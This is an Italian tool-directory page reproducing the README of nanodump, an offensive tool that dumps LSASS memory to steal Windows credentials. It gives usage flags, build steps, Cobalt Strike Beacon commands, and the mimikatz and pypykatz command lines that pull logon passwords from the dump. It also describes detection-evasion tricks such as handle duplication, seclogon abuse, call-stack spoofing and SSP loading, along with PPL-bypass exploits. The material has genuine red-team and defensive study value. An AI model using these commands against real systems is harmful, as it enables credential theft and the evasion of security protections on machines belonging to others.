Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
nanodump — Il coltellino svizzero del dump di LSASS | Kitploit
Strumenti/GitHubGitHub/fortra/nanodump
Escalation di PrivilegiMemory ForensicsExploitPost-ExploitPenetration TestingRed TeamingSviluppo Payload
GitHubfortra/nanodump

nanodump

Il coltellino svizzero del dump di LSASS

Vedi Repository
2.1k272292 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

NanoDump

Uno strumento flessibile che crea un minidump del processo LSASS.

screenshot

Indice

  1. Utilizzo
  2. Caratteristiche
  3. Tecniche combinate
  4. Esempi
  5. Reindirizzatori HTTPS

1. Utilizzo

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Clona

git clone https://github.com/fortra/nanodump.git

Compila (opzionale)

Su Linux con MinGW

make -f Makefile.mingw

Su Windows con MSVC (nessun supporto BOF)

nmake -f Makefile.msvc

Importa (solo CobaltStrike)

Importa lo script NanoDump.cna su Cobalt Strike.

Esegui

Esegui il comando nanodump nella console Beacon o il binario nanodump.x64.exe.

Ripristina la firma

Se non hai specificato il flag --valid, devi ripristinare la firma non valida

scripts/restore_signature <dumpfile>

Ottieni i segreti

mimikatz:
Per ottenere i segreti, esegui semplicemente:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Se preferisci rimanere su Linux, puoi usare la versione Python3 di mimikatz chiamata pypykatz:

python3 -m pypykatz lsa minidump <dumpfie>

2. Caratteristiche

Fork del processo

Per evitare di aprire un handle a LSASS con PROCESS_VM_READ, puoi usare il parametro --fork.
Questo farà sì che nanodump crei un handle a LSASS con accesso PROCESS_CREATE_PROCESS e poi crei un 'clone' del processo. Questo nuovo processo verrà poi dumpato. Sebbene ciò comporti la creazione e la cancellazione di un processo, elimina la necessità di leggere LSASS direttamente.

Snapshot

Analogamente all'opzione --fork, puoi usare --snapshot per creare uno snapshot del processo LSASS.
Questo farà sì che nanodump crei un handle a LSASS con accesso PROCESS_CREATE_PROCESS e poi crei uno snapshot del processo usando PssNtCaptureSnapshot. Questo nuovo processo verrà poi dumpato. Lo snapshot verrà liberato automaticamente al completamento.

Duplicazione dell'handle

Poiché l'apertura di un handle a LSASS può essere rilevata, nanodump può invece cercare handle esistenti a LSASS.
Se ne viene trovato uno, lo copierà e lo userà per creare il minidump.
Nota che non è garantito trovare tale handle.

Eleva handle

Puoi ottenere un handle a LSASS con PROCESS_QUERY_LIMITED_INFORMATION, che probabilmente è nella whitelist, e poi elevare quell'handle duplicandolo.

Perdita handle locale di Seclogon

Per evitare di aprire un handle a LSASS, puoi abusare del servizio seclogon chiamando CreateProcessWithLogonW per far trapelare un handle LSASS nel binario nanodump.
Per abilitare questa funzionalità, usa il parametro --seclogon-leak-local.
Tieni presente che, quando usato da Cobalt Strike, un binario nanodump non firmato deve essere scritto su disco per utilizzare questa funzionalità.

Perdita handle remota di Seclogon

Questa tecnica è molto simile alla precedente, ma invece di far trapelare l'handle in nanodump, viene fatto trapelare in un altro binario e poi duplicato in modo che nanodump possa usarlo. Usa il flag --seclogon-leak-remote per accedere a questa funzionalità.

Duplicazione dell'handle di Seclogon

Puoi ingannare il processo seclogon in modo che apra un handle a LSASS e lo duplichi prima che venga chiuso, vincendo una race condition usando lock sui file. Usa il flag --seclogon-duplicate per accedere a questa funzionalità.

Carica nanodump come SSP

Puoi caricare nanodump come SSP in LSASS per evitare di aprire un handle.
Quando la DLL è stata caricata in LSASS, i parametri verranno passati tramite una named pipe e, una volta completato il dump, DllMain restituirà FALSE per fare in modo che LSASS scarichi la DLL nanodump.
Puoi hardcodare i parametri nella DLL ed evitare del tutto l'uso della named pipe con il flag del compilatore PASS_PARAMS_VIA_NAMED_PIPES=0.

Carica e avvia una DLL nanodump

Per impostazione predefinita, una DLL nanodump non firmata verrà caricata nella cartella Temp, che verrà eliminata automaticamente.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Se vuoi caricare una DLL preesistente, puoi eseguire:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Exploit PPL Dump

Se LSASS è in esecuzione come Protected Process Light (PPL), puoi provare a bypassarlo usando un exploit in userland scoperto da Project Zero. Se ha successo, il dump verrà scritto su disco.

Nota che questa vulnerabilità è stata corretta nel pacchetto di aggiornamento di luglio 2022 (Windows 10 21H2 Build 19044.1826)

Per accedere a questa funzionalità, usa il comando nanodump_ppl_dump

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Exploit PPL Medic

Nanodump implementa anche l'exploit PPLMedic, che funziona su sistemi con il pacchetto di aggiornamento di luglio 2022. I parametri verranno passati alla DLL nanodump tramite una named pipe. Puoi hardcodare i parametri nella DLL ed evitare del tutto l'uso della named pipe con il flag del compilatore PASS_PARAMS_VIA_NAMED_PIPES=0.

Per accedere a questa funzionalità, usa il comando nanodump_ppl_medic

beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Puoi forzare il processo WerFault.exe a creare un dump completo della memoria di LSASS. Tieni presente che ciò richiede la possibilità di scrivere nel registro.

Poiché il dump non è realizzato da nanodump, avrà sempre una firma valida.

Silent Process Exit

Scarica lo strumento